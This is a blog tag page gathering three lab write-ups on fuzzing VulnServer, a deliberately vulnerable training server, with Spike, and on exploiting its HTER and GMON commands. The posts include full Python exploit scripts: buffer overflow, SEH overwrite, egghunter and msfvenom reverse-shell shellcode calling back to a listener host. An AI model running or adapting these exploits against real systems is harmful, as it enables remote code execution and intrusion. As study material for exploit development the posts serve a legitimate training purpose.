Browsed by
Tag: fuzzing

Exploiting HTER in VulnServer

Exploiting HTER in VulnServer

Fresh from completing the GMON buffer overflow exploit its time to move on and start attack the next component. Today we will be exploiting HTER in vulnserver. Lets reuse the Spike template from our earlier fuzz of Vulnserver and get started.

The Spike template is:

s_string("HTER");
s_string(" ");
s_string_variable("netascii");
s_string("\r\n");
sleep(1);

It’s time to start the fuzzing:

root@bt:/pentest/fuzzers/spike/src# ./generic_send_tcp 192.168.0.17 5000 audits/custom/vulnserv.spk 0 0

Quickly a crash can be observed in Immunity Debugger. A quick visual inspection of the CPU registers shows that EIP has been overwritten with ‘AAAAAAAA’ . This is highly unusual and not something that I have seen before. Typically I would expect to see ‘\x41\x41\x41\x41’ if it were overwritten with a string of A’s.

EIP Overwrite
EIP Overwrite

Let’s reproduce the EIP overwrite with a Python script:

#!/usr/bin/python
import socket
import os
import sys

crash = "HTER "

buffer = 'A' * 3000

print "[*] Sending evil payload request to Vulnerable Server"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.0.17", 5000))
expl.send(crash + buffer)
expl.close()

Identify Bad Characters

The next step is to identify bad characters so that we know what characters we have to play with in our payload. Just like our previous exploit of TRUN we embed every possible character into a payload, submit and analyse in Immunity.

#!/usr/bin/python
import socket
import os
import sys

crash = "HTER "

payload = (
"\x01\x02\x03\x04\x05\x06\x07\x08" +
"\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" +
"\x11\x12\x13\x14\x15\x16\x17\x18" +
"\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" +
"\x21\x22\x23\x24\x25\x26\x27\x28" +
"\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30" +
"\x31\x32\x33\x34\x35\x36\x37\x38" +
"\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" +
"\x41\x42\x43\x44\x45\x46\x47\x48" +
"\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" +
"\x51\x52\x53\x54\x55\x56\x57\x58" +
"\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" +
"\x61\x62\x63\x64\x65\x66\x67\x68" +
"\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70" +
"\x71\x72\x73\x74\x75\x76\x77\x78" +
"\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80" +
"\x81\x82\x83\x84\x85\x86\x87\x88" +
"\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90" +
"\x91\x92\x93\x94\x95\x96\x97\x98" +
"\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0" +
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8" +
"\xa9\xaa\xab\xac\xad\xae\xaf\xb0" +
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8" +
"\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0" +
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8" +
"\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0" +
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8" +
"\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0" +
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8" +
"\xe9\xea\xeb\xec\xed\xee\xef\xf0" +
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8" +
"\xf9\xfa\xfb\xfc\xfd\xfe\xff")

buffer = 'A' * 1000  + payload + 'A' * (4000 - len(payload))

print "[*] Sending evil payload request to Vulnerable Server"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.0.17", 5000))
expl.send(crash + buffer)
expl.close()

Looking in Immunity we see an interesting result. The only characters observed are hex characters. As we exploiting HTER later we will have to be conscious of these characters.

#!/usr/bin/python
import socket
import os
import sys

crash = "HTER "

buffer = ("0123456789ABCDEF" * 187)

print "[*] Sending evil payload request to Vulnerable Server"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.0.17", 5000))
expl.send(crash + buffer)
expl.close()

Let’s resend the payload with only hex characters and observe the result. As we anticipated all the hex characters are returned however it appears that ‘0’ is omitted at the start. We will append a zero to the start of the payload to compensate.

We now know that we have be very careful with an extremely small number of characters allowed to be used as part of our payload. Alternatively we will have to encode them prior to sending our payload and then decode them in memory.

Target the bytes to overwrite EIP

The next step is to identify the exact bytes that overwrite EIP. Normally I would create a pattern with the Metasploit Framework. In this instance though with our limited character selection it will have to be more manual approach by trial and error.

#!/usr/bin/python
import socket
import os
import sys

crash = "HTER 0"

buffer = ("1" * 200
+ "2" * 200
+ "3" * 200
+ "4" * 200
+ "5" * 200
+ "6" * 200
+ "7" * 200
+ "8" * 200
+ "9" * 200
+ "A" * 200
+ "B" * 200
+ "C" * 200
+ "D" * 200
+ "E" * 200
+ "F" * 200
)

print "[*] Sending evil payload request to Vulnerable Server"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.0.17", 5000))
expl.send(crash + buffer)
expl.close()

Looking in immunity debugger EIP was over written with ‘BBBBBBBB’ . We now know that the EIP over write takes place somewhere between 2000 and 2200 bytes. Let’s see if we can narrow it down further. The Python payload is modified as below:

r/bin/python
import socket
import os
import sys

crash = "HTER 0"

buffer = ("1" * 2000
+ "2" * 20
+ "3" * 20
+ "4" * 20
+ "5" * 20
+ "6" * 20
+ "7" * 20
+ "8" * 20
+ "9" * 20
+ "A" * 20
+ "B" * 20
+ "C" * 20
+ "D" * 20
+ "E" * 20
+ "F" * 20
)

print "[*] Sending evil payload request to Vulnerable Server"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.0.17", 5000))
expl.send(crash + buffer)
expl.close()

We are getting closer to exploiting HTER! EIP over write this time was ‘44444444’ and we now know he payload is between 2040 and 2060 bytes.

EIP Overwrite at '44444444'
EIP is overwritten with ‘44444444’

Once again the Python script is modified to move us closer to the elusive EIP byte offset value.

#!/usr/bin/python
import socket
import os
import sys

crash = "HTER 0"

buffer = ("1" * 2040
+ "2" * 2
+ "3" * 2
+ "4" * 2
+ "5" * 2
+ "6" * 2
+ "7" * 2
+ "8" * 2
+ "9" * 2
+ "A" * 2
+ "B" * 2
+ "C" * 2
+ "D" * 2
+ "E" * 2
+ "F" * 930
)

print "[*] Sending evil payload request to Vulnerable Server"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.0.17", 5000))
expl.send(crash + buffer)
expl.close()

Success! The EIP overwrite was successful and we see ‘55443322’. We now know that the offset is 2040 bytes. To be confident we are right we modify the payload one last time. The buffer value is set to:

buffer = ('A' * 2040 + 'B' * 8 + 'C' * 950)

And as expected we see EIP is now ‘BBBBBBBB’.

EIP overwrite with 'BBBBBBBB'
EIP Overwritten at 2040 bytes

Find a JMP to XXX

The next step is find a usable JMP or CALL instruction….. somewhere! Through trial and error it was discovered that the EAX register points to the start of the payload directly after, HTER 0.

There is a DLL in use by the VulnServer and perhaps it contains a JMP EAX instruction. It’s time to take a look but we have to remember the bad character analysis that we performed.

In Immunity we use the mona plugin to identify the JMP EAX This is achieved by using the command !mona jmp -r EAX and we get the following output:

EAX JMP's
JMP Instructions in ESSfunc.dll

Many of the values returned are unsuitable as they contain null bytes The memory address #625011B1 looks good and it’s what we will proceed with. The python script is updated to include ‘B1115062’ and a break point is set at this address. The Python script is executed and Immunity Debugger pauses execution at the break point.

Break point set
Execution paused at the break point

Payload Creation

We are close to the end of the exploit and all that remains now is to create the reverse shell payload for exploiting HTER and include it in our Python code. As always lets use the Metasploit Framework to generate this for us.

msfvenom -a x86 –platform Windows -p windows/shell_reverse_tcp LHOST=192.168.0.38 LPORT=4443 EXITFUNC=thread -b "\x00"
[*] x86/shikata_ga_nai succeeded with size 341 (iteration=1)
buf = 
"\xdb\xd0\xd9\x74\x24\xf4\x5f\x2b\xc9\xb1\x4f\xba\xca\x79" +
"\x63\x44\x31\x57\x19\x83\xef\xfc\x03\x57\x15\x28\x8c\x9f" +
"\xac\x25\x6f\x60\x2d\x55\xf9\x85\x1c\x47\x9d\xce\x0d\x57" +
"\xd5\x83\xbd\x1c\xbb\x37\x35\x50\x14\x37\xfe\xde\x42\x76" +
"\xff\xef\x4a\xd4\xc3\x6e\x37\x27\x10\x50\x06\xe8\x65\x91" +
"\x4f\x15\x85\xc3\x18\x51\x34\xf3\x2d\x27\x85\xf2\xe1\x23" +
"\xb5\x8c\x84\xf4\x42\x26\x86\x24\xfa\x3d\xc0\xdc\x70\x19" +
"\xf1\xdd\x55\x7a\xcd\x94\xd2\x48\xa5\x26\x33\x81\x46\x19" +
"\x7b\x4d\x79\x95\x76\x8c\xbd\x12\x69\xfb\xb5\x60\x14\xfb" +
"\x0d\x1a\xc2\x8e\x93\xbc\x81\x28\x70\x3c\x45\xae\xf3\x32" +
"\x22\xa5\x5c\x57\xb5\x6a\xd7\x63\x3e\x8d\x38\xe2\x04\xa9" +
"\x9c\xae\xdf\xd0\x85\x0a\xb1\xed\xd6\xf3\x6e\x4b\x9c\x16" +
"\x7a\xed\xff\x7e\x4f\xc3\xff\x7e\xc7\x54\x73\x4d\x48\xce" +
"\x1b\xfd\x01\xc8\xdc\x02\x38\xac\x73\xfd\xc3\xcc\x5a\x3a" +
"\x97\x9c\xf4\xeb\x98\x77\x05\x13\x4d\xd7\x55\xbb\x3e\x97" +
"\x05\x7b\xef\x7f\x4c\x74\xd0\x9f\x6f\x5e\x67\x98\xf8\xa1" +
"\xd0\x26\xdf\x49\x23\x26\x0e\xd1\xaa\xc0\x5a\xf5\xfa\x5b" +
"\xf3\x6c\xa7\x17\x62\x70\x7d\xbf\x07\xe3\x1a\x3f\x41\x18" +
"\xb5\x68\x06\xee\xcc\xfc\xba\x49\x67\xe2\x46\x0f\x40\xa6" +
"\x9c\xec\x4f\x27\x50\x48\x74\x37\xac\x51\x30\x63\x60\x04" +
"\xee\xdd\xc6\xfe\x40\xb7\x90\xad\x0a\x5f\x64\x9e\x8c\x19" +
"\x69\xcb\x7a\xc5\xd8\xa2\x3a\xfa\xd5\x22\xcb\x83\x0b\xd3" +
"\x34\x5e\x88\xf3\xd6\x4a\xe5\x9b\x4e\x1f\x44\xc6\x70\xca" +
"\x8b\xff\xf2\xfe\x73\x04\xea\x8b\x76\x40\xac\x60\x0b\xd9" +
"\x59\x86\xb8\xda\x4b"

The payload was tidied up with characters ” + and \x removed and inserted into the Python script below.

#!/usr/bin/python
import socket
import os
import sys

crash = "HTER 0"

#msfvenom -a x86 –platform Windows -p windows/shell_reverse_tcp LHOST=192.168.0.38 LPORT=4443 EXITFUNC=thread -b "\x00"
#[*] x86/shikata_ga_nai succeeded with size 341 (iteration=1)

payload = ("dbd0d97424f45f2bc9b14fbaca79634431571983effc035715288c9fac256f602d55f9851c479dce0d57d583bd1cbb3735501437fede4276ffef4ad4c36e3727105006e865914f1585c3185134f32d2785f2e123b58c84f442268624fa3dc0dc7019f1dd557acd94d248a526338146197b4d7995768cbd1269fbb56014fb0d1ac28e93bc8128703c45aef33222a55c57b56ad7633e8d38e204a99caedfd0850ab1edd6f36e4b9c167aedff7e4fc3ff7ec754734d48ce1bfd01c8dc0238ac73fdc3cc5a3a979cf4eb987705134dd755bb3e97057bef7f4c74d09f6f5e6798f8a1d026df4923260ed1aac05af5fa5bf36ca71762707dbf07e31a3f4118b56806eeccfcba4967e2460f40a69cec4f2750487437ac5130636004eeddc6fe40b790ad0a5f649e8c1969cb7ac5d8a23afad522cb830bd3345e88f3d64ae59b4e1f44c670ca8bfff2fe7304ea8b7640ac600bd95986b8da4b")

# 625011B1 JMP EAX
buffer = ('90' * 50 + payload + 'A' * (1940-len(payload)) + 'B1115062' + 'C' *950)

print "[*] Sending evil payload request to Vulnerable Server"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.0.17", 5000))
expl.send(crash + buffer)
expl.close()

All that remains is to test our code. A netcat listener is configured to listen on port 4443 and the payload is sent. For some reason nothing happens. The application crashes but our netcat listener doesn’t receive a call back and we need to understand why. It’s time to dive back into Immunity Debugger and observe the execution flow.

EIP is equal to EAX
EIP close to ESP

It took me a while to figure out the issue that was causing the problem. I found a good blog entry by sh3llc0d3r.

If EIP is bigger, than ESP, there is no problem as they are moving away from each other. If EIP is lower than ESP, a problem can raise as they go toward each other and the the program code might change if ESP reaches EIP.

With this information our initial payload was changed from “HTER 0” to “HTER 0505C” and voila we a reverse shell!

Reverse Shell
Reverse Shell Received

It worked! Our payload was executed and the Windows machine established a reverse shell back to our Backtrack machine. The HTER component of the Vulnserver is complete. My next blog post will attempt to exploit other Vulnserver modules.

The full GTER exploit code is in my github.

Exploiting GMON in VulnServer

Exploiting GMON in VulnServer

This article continues on from my series of blog entries exploiting Vulnerver by Stephen Bradshaw.

Fresh from completing the TRUN buffer overflow it’s time to move on and attack the next component. We are going to be fuzzing and exploiting GMON in Vulnserver. Lets reuse the Spike template from our earlier fuzz of Vulnserver.

The Spike template is:

s_string("GMON");
s_string(" ");
s_string_variable("netascii");
s_string("\r\n");
sleep(1);

It’s time to start the fuzzing:

root@bt:/pentest/fuzzers/spike/src# ./generic_send_tcp 192.168.0.17 5000 audits/custom/vulnserv.spk 0 0

Straight away a crash can be observed in Immunity Debugger. A quick visual inspection of the CPU registers shows that the ECX and EBP are over written by a series of long ‘A’ strings. In Immunity Debugger by clicking “View -> SeH Chain” it is revealed that the Structured Exception Handler has been over written.

SeH OVerwrite with AAAA
SeH Overwrite

As with the other components in Vulnserver the payload that crashes the application is “GMON /.:/ AAAAA …” . All that remains is to reproduce the crash with a Python program.

#!/usr/bin/python
import socket
import os
import sys

crash = "GMON /.:/"

buffer = 'A' * 5000         

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.0.17", 5000))
expl.send(crash + buffer)
expl.close()

Identify Bad Characters

The next step is to identify bad characters so that we know what characters we have to play with in our payload. Just like our previous exploit of TRUN we embed every possible character into a payload, execute it and analyse in Immunity.

#!/usr/bin/python
import socket
import os
import sys

crash = "GMON /.:/ "

payload = (
"\x01\x02\x03\x04\x05\x06\x07\x08" +
"\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" +
"\x11\x12\x13\x14\x15\x16\x17\x18" +
"\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" +
"\x21\x22\x23\x24\x25\x26\x27\x28" +
"\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30" +
"\x31\x32\x33\x34\x35\x36\x37\x38" +
"\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" +
"\x41\x42\x43\x44\x45\x46\x47\x48" +
"\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" +
"\x51\x52\x53\x54\x55\x56\x57\x58" +
"\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" +
"\x61\x62\x63\x64\x65\x66\x67\x68" +
"\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70" +
"\x71\x72\x73\x74\x75\x76\x77\x78" +
"\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80" +
"\x81\x82\x83\x84\x85\x86\x87\x88" +
"\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90" +
"\x91\x92\x93\x94\x95\x96\x97\x98" +
"\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0" +
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8" +
"\xa9\xaa\xab\xac\xad\xae\xaf\xb0" +
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8" +
"\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0" +
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8" +
"\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0" +
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8" +
"\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0" +
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8" +
"\xe9\xea\xeb\xec\xed\xee\xef\xf0" +
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8" +
"\xf9\xfa\xfb\xfc\xfd\xfe\xff")

buffer = 'A' * 1000  + payload + 'A' * (4000 - len(payload))

print "[*] Sending evil payload request to Vulnerable Server"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.0.17", 5000))
expl.send(crash + buffer)
expl.close()

Looking in Immunity Debugger we can see that we are lucky, aside from \x00 we have no bad characters. This will make payload creation much easier.

Bad Character Analysis
EBX Dump with no bad characters

Target the bytes to overwrite SeH

The next step for exploiting GMON is to identify the exact bytes that overwrite SeH. Once again we define a pattern with the Metasploit Framework. It is packeaged with a nice tool called pattern_create.

root@bt:/pentest/exploits/framework/tools# ./pattern_create.rb 5000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai .......

The 5000 byte generated pattern is then embedded in our Python code and sent to the Vulnerable Server. In Immunity Debugger the SeH overwrite was observed to be 336E4532.

Generate a Pattern to overwrite SeH
Use a pattern to determine offset for SeH OVerwrite

We need to use the pattern offset tool to determine the byte offset.

root@bt:/pentest/exploits/framework/tools# ./pattern_offset.rb 336E4532 5000
3518

Success! We now know the offset is 3518 bytes.

Find a Pop Pop Ret

The next step is find a usable POP POP RET ….. somewhere! There is a DLL in use by the VulnServer. It’s time to take a look but we have to remember the bad character analysis that we performed. So long as there is no \x00 in the memory address then we should be good to go!

In Immunity we use the mona plugin to identify the POP POP RET. This is achieved by using the command !mona seh and we get the following output:

Mona POP POP RET
Mona POP POP RET

Many of the values returned are unsuitable as they either contain null bytes or they contain bad characters that we previously identified. The memory address #625010B4 looks good and it’s what we will proceed with. The python script is updated to include \xB4\x10\x50\x62 and a breakpoint is set at this address.

nSeH Conditional Jump
Execution paused 4 Bytes before SeH

Our code for exploiting GMON is now …

#!/usr/bin/python
import socket
import os
import sys

crash = "GMON /.:/ "
SeH = '\xB4\x10\x50\x62'

payload = 'A' * 3518 + SeH + 'B' * 1478

print "[*] Sending evil payload request to Vulnerable Server"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.0.17", 5000))
expl.send(crash + payload)
expl.close()

Jump Backwards

From the last picture we can see that there are four bytes to work with before hitting the Structured Exception Handler (SeH). The four bytes \x41\x41\x41\x41 need to be over written with a small payload to allow us to jump somewhere with a little more room. Looking in Immunity Debugger it is observed that there is plenty of space up the stack if we are able to jump backwards. The largest jump back we can make is 128 bytes with the payload \xEB\x80\x90\x90.

With the addition of the backwards jump our code now looks like:

#!/usr/bin/python
import socket
import os
import sys

crash = "GMON /.:/ "
SeH = '\xB4\x10\x50\x62'
jump_back = '\xEB\x80\x90\x90'

payload = 'A' * 3514 + jump_back + SeH + 'B' * 1478

print "[*] Sending evil payload request to Vulnerable Server"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.0.17", 5000))
expl.send(crash + payload)
expl.close()

Egghunter

From our work so far we now have control over 128 bytes of space. Things are are starting to get interesting! What can we do with this space? It’s not nearly big enough to place code for a reverse shell. However we could place an egg hunter in this code to find our payload and exploit GMON.

From CoreLan.be Egg hunting is a technique that can be categorized as “staged shellcode”, and it basically allows you to use a small amount of custom shellcode to find your actual (bigger) shellcode (the “egg”) by searching for the final shellcode in memory.

Let's take the egghunter code from the CoreLAN article... \x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8".
"\x77\x30\x30\x74". # this is the marker/tag: w00t
"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7";

Our code now looks like ….

#!/usr/bin/python
import socket
import os
import sys

crash = "GMON /.:/ "
SeH = '\xB4\x10\x50\x62'
jump_back = '\xEB\x80\x90\x90'
egghunter = '\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x54\x30\x30\x57\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7'

payload = 'A' * 3000 + '\x90' *(514-len(egghunter)) + egghunter + jump_back + SeH + '\x90' * 1478

print "[*] Sending evil payload request to Vulnerable Server"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.0.17", 5000))
expl.send(crash + payload)
expl.close()

We can view this is Immunity Debugger in the picture below. You can see the NOP sled that leads in to the Egghunter code.

NOP Sled Leading to Egg Hunter Code
NOP Sled to Egg Hunter Code

Exploiting GMON to Catch a Reverse Shell

We are close to the end, all that remains is to create the final payload that we will use to generate a reverse shell. The easiest way to do this is to use the Metasploit Framework to generate the payload for us.

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.38 LPORT=4443 -a x86 --platform windows -f c -b '\x00'

The generated payload can now be embedded into our final Python script. Remember we need to place the egg in front of the reverse shell payload for the egghunter to find!

#!/usr/bin/python
import socket
import os
import sys

crash = "GMON /.:/ "
SeH = '\xB4\x10\x50\x62'
jump_back = '\xEB\x80\x90\x90'
egghunter = '\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x54\x30\x30\x57\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7'
egg = 'T00WT00W'

# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.38 LPORT=4443 -a x86 --platform windows -f c -b '\x00'
#[*] x86/shikata_ga_nai succeeded with size 341 (iteration=1)
#unsigned char buf[] = 
shell = (
"\xda\xc8\xbd\xfd\x66\xdf\xdb\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"
"\x4f\x83\xc2\x04\x31\x6a\x15\x03\x6a\x15\x1f\x93\x23\x33\x56"
"\x5c\xdc\xc4\x08\xd4\x39\xf5\x1a\x82\x4a\xa4\xaa\xc0\x1f\x45"
"\x41\x84\x8b\xde\x27\x01\xbb\x57\x8d\x77\xf2\x68\x20\xb8\x58"
"\xaa\x23\x44\xa3\xff\x83\x75\x6c\xf2\xc2\xb2\x91\xfd\x96\x6b"
"\xdd\xac\x06\x1f\xa3\x6c\x27\xcf\xaf\xcd\x5f\x6a\x6f\xb9\xd5"
"\x75\xa0\x12\x62\x3d\x58\x18\x2c\x9e\x59\xcd\x2f\xe2\x10\x7a"
"\x9b\x90\xa2\xaa\xd2\x59\x95\x92\xb8\x67\x19\x1f\xc1\xa0\x9e"
"\xc0\xb4\xda\xdc\x7d\xce\x18\x9e\x59\x5b\xbd\x38\x29\xfb\x65"
"\xb8\xfe\x9d\xee\xb6\x4b\xea\xa9\xda\x4a\x3f\xc2\xe7\xc7\xbe"
"\x05\x6e\x93\xe4\x81\x2a\x47\x85\x90\x96\x26\xba\xc3\x7f\x96"
"\x1e\x8f\x92\xc3\x18\xd2\xfa\x20\x16\xed\xfa\x2e\x21\x9e\xc8"
"\xf1\x99\x08\x61\x79\x07\xce\x86\x50\xff\x40\x79\x5b\xff\x49"
"\xbe\x0f\xaf\xe1\x17\x30\x24\xf2\x98\xe5\xea\xa2\x36\x56\x4a"
"\x13\xf7\x06\x22\x79\xf8\x79\x52\x82\xd2\x0f\x55\x15\x1d\xa7"
"\x59\xc0\xf5\xba\x59\x1d\x5d\x32\xbf\x77\x71\x12\x68\xe0\xe8"
"\x3f\xe2\x91\xf5\x95\x62\x31\x67\x72\x72\x3c\x94\x2d\x25\x69"
"\x6a\x24\xa3\x87\xd5\x9e\xd1\x55\x83\xd9\x51\x82\x70\xe7\x58"
"\x47\xcc\xc3\x4a\x91\xcd\x4f\x3e\x4d\x98\x19\xe8\x2b\x72\xe8"
"\x42\xe2\x29\xa2\x02\x73\x02\x75\x54\x7c\x4f\x03\xb8\xcd\x26"
"\x52\xc7\xe2\xae\x52\xb0\x1e\x4f\x9c\x6b\x9b\x7f\xd7\x31\x8a"
"\x17\xbe\xa0\x8e\x75\x41\x1f\xcc\x83\xc2\x95\xad\x77\xda\xdc"
"\xa8\x3c\x5c\x0d\xc1\x2d\x09\x31\x76\x4d\x18")

payload = '\x90' * 2000 + egg+ shell +'\x90' * (1000-len(shell+egg))+ '\x90' *(514-len(egghunter)) + egghunter + jump_back + SeH + '\x90' * 1478

print "[*] Sending evil payload request to Vulnerable Server"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.0.17", 5000))
expl.send(crash + payload)
expl.close()

After all of our hard work we can see that it has been paid off. A reverse shell was received. We have successfully exploited GMON!

Reverse Shell from Vulnserver
Netcat caught the reverse shell
Fuzzing VulnServer with Spike and Wireshark

Fuzzing VulnServer with Spike and Wireshark

My OSCE exam is rapidly approaching and I need to practice my fuzzing and exploit development. VulnServer by Stephen Bradshaw seemed like a good place to start.

Vulnserver is a multithreaded Windows based TCP server that listens for client connections on port 9999 (by default) and allows the user to run a number of different commands that are vulnerable to various types of exploitable buffer overflows.

First things first, lets enumerate VulnServer manually and try to understand the executable. The executable is 32 bit and I have fired up Windows Vista to run the binary on port 5000. As Backtrack is the OS of choice for the OSCE exam I will use it for probing VulnServer. I need to practice as much as possible with it!

Using Netcat to inspect VulnServer

From connecting to the application and examining how it operates it can be observed that the binary expects a command followed by a parameter. Commands are listed by entering HELP and valid commands are STATS RTIME LTIME SRUN TRUN GMON GDOG KSTET GTER HTER LTER KSTAN.

Straight away I am wondering , what happens if values are entered without a parameter? What happens if a number is entered? Will a negative number cause a problem? What if a string is used? Initial probing from the picture shows that the STATS command accepted an arbitrary value I choose of 60000 . STATS on its own returned a value of UNKNOWN COMMAND.

Let’s fire up a fuzzer and see if we can provide invalid, unexpected, or random data to the application. Once again the OSCE exam drives my decision here. Spike is the fuzzer of choice for the exam and as such it is the one that I am going to use. While Spike has been superseded in recent years by Sully and Boofuzz it still remains an extremely capable and relatively easy to use fuzzer.

To use Spike a spike template needs to be configured. This means that Spike will operate within the confines that we define. The code used can be seen below and replicates the functionality that was observed when the application was probed manually earlier.

root@bt:/pentest/fuzzers/spike/src/audits/custom# cat vulnserv.spk 
s_string("SRUN");
s_string(" ");
s_string_variable("netascii");
s_string("\r\n");
sleep(1);

The observant reader will notice that the highlighted line contains _variable unlike row 3 which just contains s_string. This means that Spike will only fuzz the value that comes after the command SRUN.

Fuzzing the SRUN

The fuzzer was left to run until it fully completed fuzzing. The application handled all the fuzz attempts with no issues. Given that we did not get the crash that we were hoping for let’s move on to the next command and begin again. This time I am going to pick the command TRUN and hopefully we get a crash!

On the Vista machine Immunity Debugger was launched and attached to the running VulnServer process. The default operation in Immunity Debugger is to pause the excitable but we need it to execute freely so the play button was clicked.

The spike template was modified to use the TRUN command and a Wireshark capture filter was set to monitor packets sent to port 5000. After Spike was executed, very quickly a crash was observed in Immunity Debugger. A buffer overflow was triggered and it can be see from the picture below.

EIP overwritten with 41414141

The instruction pointer (EIP) is overwritten with ‘AAAA’ which is \x41\x41\x41\x41 in hexadecimal. In addition it can be clearly seen that the stack pointer (ESP) now points towards towards a long string of ‘A’s. Examining the EAX register in this case gives a good indication as to the value that caused the overflow. It appears that the command “TRUN /.:/AAA…” is the command and value that causes the overflow to occur. Lets confirm with Wireshark.

As we can see the exact packet that causes the issue is ” “TRUN /.:/AAA…”.

To complete the fuzzing it is time to finally reproduce the crash by sending just this specific packet. I quickly wrote a simple Python script to reproduce the crash. It is important to to able to isolate the specific packet and be able to reproduce the crash from a script as this will enable us to craft an exploit payload.

#!/usr/bin/python
import socket
import os
import sys

crash = "TRUN /.:/ "
buffer = "A" * 5000

print "[*] Sending evil payload request to Vulnerable Server"

expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
expl.connect(("192.168.0.17", 5000))
expl.send(crash + buffer)
expl.close()

The Python script was executed and once again EIP is overwritten. To recap we have successfully fuzzed an application and isolated a packet that causes a buffer over flow.

In my next blog post I will take the Python script to the next stage and modify the payload to return a shell to us.

Click here to follow to the next blog entry and create the reverse shell payload.